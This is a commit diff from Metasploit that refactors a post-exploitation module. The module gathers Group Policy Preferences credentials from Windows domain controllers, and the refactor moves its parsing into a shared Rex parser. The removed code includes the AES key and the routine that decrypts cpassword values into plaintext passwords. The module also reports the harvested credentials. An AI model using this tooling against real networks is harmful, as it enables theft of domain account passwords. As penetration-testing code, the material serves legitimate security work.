Skip to content

Commit 92669cd

Browse files
committed
Use parser
1 parent 0a2b79c commit 92669cd

File tree

2 files changed

+20
-87
lines changed

2 files changed

+20
-87
lines changed

lib/rex/parser/group_policy_preferences.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -61,8 +61,8 @@ def self.parse(data)
6161
}
6262

6363
result.merge!({ :EXPIRES => expires }) unless expires.nil? || expires.empty?
64-
result.merge!({ :NEVER_EXPIRE => never_expires }) unless never_expires.nil? || never_expires.empty?
65-
result.merge!({ :DISABLED => disabled }) unless disabled.nil? || disabled.empty?
64+
result.merge!({ :NEVER_EXPIRES => never_expires.to_i }) unless never_expires.nil? || never_expires.empty?
65+
result.merge!({ :DISABLED => disabled.to_i }) unless disabled.nil? || disabled.empty?
6666
result.merge!({ :PATH => path }) unless path.nil? || path.empty?
6767
result.merge!({ :DATASOURCE => dsn }) unless dsn.nil? || dsn.empty?
6868
result.merge!({ :DRIVER => driver }) unless driver.nil? || driver.empty?
@@ -106,8 +106,8 @@ def self.create_tables(results, filetype, domain=nil, dc=nil)
106106
table << ["DOMAIN", domain] unless domain.nil? || domain.empty?
107107
table << ["CHANGED", result[:CHANGED]]
108108
table << ["EXPIRES", result[:EXPIRES]] unless result[:EXPIRES].nil? || result[:EXPIRES].empty?
109-
table << ["NEVER_EXPIRES?", result[:NEVER_EXPIRE]] unless result[:NEVER_EXPIRE].nil? || result[:NEVER_EXPIRE].empty?
110-
table << ["DISABLED", result[:DISABLED]] unless result[:DISABLED].nil? || result[:DISABLED].empty?
109+
table << ["NEVER_EXPIRES?", result[:NEVER_EXPIRES]] unless result[:NEVER_EXPIRES].nil?
110+
table << ["DISABLED", result[:DISABLED]] unless result[:DISABLED].nil?
111111
table << ["PATH", result[:PATH]] unless result[:PATH].nil? || result[:PATH].empty?
112112
table << ["DATASOURCE", result[:DSN]] unless result[:DSN].nil? || result[:DSN].empty?
113113
table << ["DRIVER", result[:DRIVER]] unless result[:DRIVER].nil? || result[:DRIVER].empty?

modules/post/windows/gather/credentials/gpp.rb

Lines changed: 16 additions & 83 deletions
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,8 @@
44
##
55

66
require 'msf/core'
7-
require 'rex'
8-
require 'rexml/document'
97
require 'msf/core/auxiliary/report'
8+
require 'rex/parser/group_policy_preferences'
109

1110
class Metasploit3 < Msf::Post
1211
include Msf::Auxiliary::Report
@@ -220,7 +219,7 @@ def gpp_xml_file(path)
220219
retobj = {
221220
:dc => spath[2],
222221
:path => path,
223-
:xml => REXML::Document.new(data).root
222+
:xml => data
224223
}
225224
if spath[4] == "sysvol"
226225
retobj[:domain] = spath[5]
@@ -237,85 +236,34 @@ def gpp_xml_file(path)
237236
def parse_xml(xmlfile)
238237
mxml = xmlfile[:xml]
239238
print_status "Parsing file: #{xmlfile[:path]} ..."
240-
filetype = xmlfile[:path].split('\\').last()
241-
mxml.elements.to_a("//Properties").each do |node|
242-
epassword = node.attributes['cpassword']
243-
next if epassword.to_s.empty?
244-
pass = decrypt(epassword)
245-
246-
user = node.attributes['runAs'] if node.attributes['runAs']
247-
user = node.attributes['accountName'] if node.attributes['accountName']
248-
user = node.attributes['username'] if node.attributes['username']
249-
user = node.attributes['userName'] if node.attributes['userName']
250-
user = node.attributes['newName'] unless node.attributes['newName'].blank?
251-
changed = node.parent.attributes['changed']
252-
253-
# Printers and Shares
254-
path = node.attributes['path']
255-
256-
# Datasources
257-
dsn = node.attributes['dsn']
258-
driver = node.attributes['driver']
259-
260-
# Tasks
261-
app_name = node.attributes['appName']
262-
263-
# Services
264-
service = node.attributes['serviceName']
265-
266-
# Groups
267-
expires = node.attributes['expires']
268-
never_expires = node.attributes['neverExpires']
269-
disabled = node.attributes['acctDisabled']
270-
271-
table = Rex::Ui::Text::Table.new(
272-
'Header' => 'Group Policy Credential Info',
273-
'Indent' => 1,
274-
'SortIndex' => -1,
275-
'Columns' =>
276-
[
277-
'Name',
278-
'Value',
279-
]
280-
)
281-
282-
table << ["TYPE", filetype]
283-
table << ["USERNAME", user]
284-
table << ["PASSWORD", pass]
285-
table << ["DOMAIN CONTROLLER", xmlfile[:dc]]
286-
table << ["DOMAIN", xmlfile[:domain] ]
287-
table << ["CHANGED", changed]
288-
table << ["EXPIRES", expires] unless expires.blank?
289-
table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank?
290-
table << ["DISABLED", disabled] unless disabled.blank?
291-
table << ["PATH", path] unless path.blank?
292-
table << ["DATASOURCE", dsn] unless dsn.blank?
293-
table << ["DRIVER", driver] unless driver.blank?
294-
table << ["TASK", app_name] unless app_name.blank?
295-
table << ["SERVICE", service] unless service.blank?
296-
297-
node.elements.each('//Attributes//Attribute') do |dsn_attribute|
298-
table << ["ATTRIBUTE", "#{dsn_attribute.attributes['name']} - #{dsn_attribute.attributes['value']}"]
299-
end
239+
filetype = File.basename(xmlfile[:path].gsub("\\","/"))
240+
results = Rex::Parser::GPP.parse(mxml)
300241

301-
print_good table.to_s
242+
tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc])
302243

244+
tables.each do |table|
245+
table.print
246+
end
247+
248+
results.each do |result|
303249
if datastore['STORE']
304250
stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path])
305251
print_status("XML file saved to: #{stored_path}")
306252
end
307253

308-
report_creds(user,pass) unless disabled and disabled == '1'
254+
report_creds(result[:USER], result[:PASS], result[:DISABLED])
309255
end
310256
end
311257

312-
def report_creds(user, pass)
258+
def report_creds(user, password, disabled)
313259
if session.db_record
314260
source_id = session.db_record.id
315261
else
316262
source_id = nil
317263
end
318264

265+
active = (disabled == 0)
266+
319267
report_auth_info(
320268
:host => session.sock.peerhost,
321269
:port => 445,
@@ -324,23 +272,8 @@ def report_creds(user, pass)
324272
:source_id => source_id,
325273
:source_type => "exploit",
326274
:user => user,
327-
:pass => pass)
328-
end
329-
330-
def decrypt(encrypted_data)
331-
padding = "=" * (4 - (encrypted_data.length % 4))
332-
epassword = "#{encrypted_data}#{padding}"
333-
decoded = Rex::Text.decode_base64(epassword)
334-
335-
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
336-
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
337-
aes.decrypt
338-
aes.key = key
339-
plaintext = aes.update(decoded)
340-
plaintext << aes.final
341-
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
342-
343-
return pass
275+
:pass => password,
276+
:active => active)
344277
end
345278

346279
def enum_domains

0 commit comments

Comments
 (0)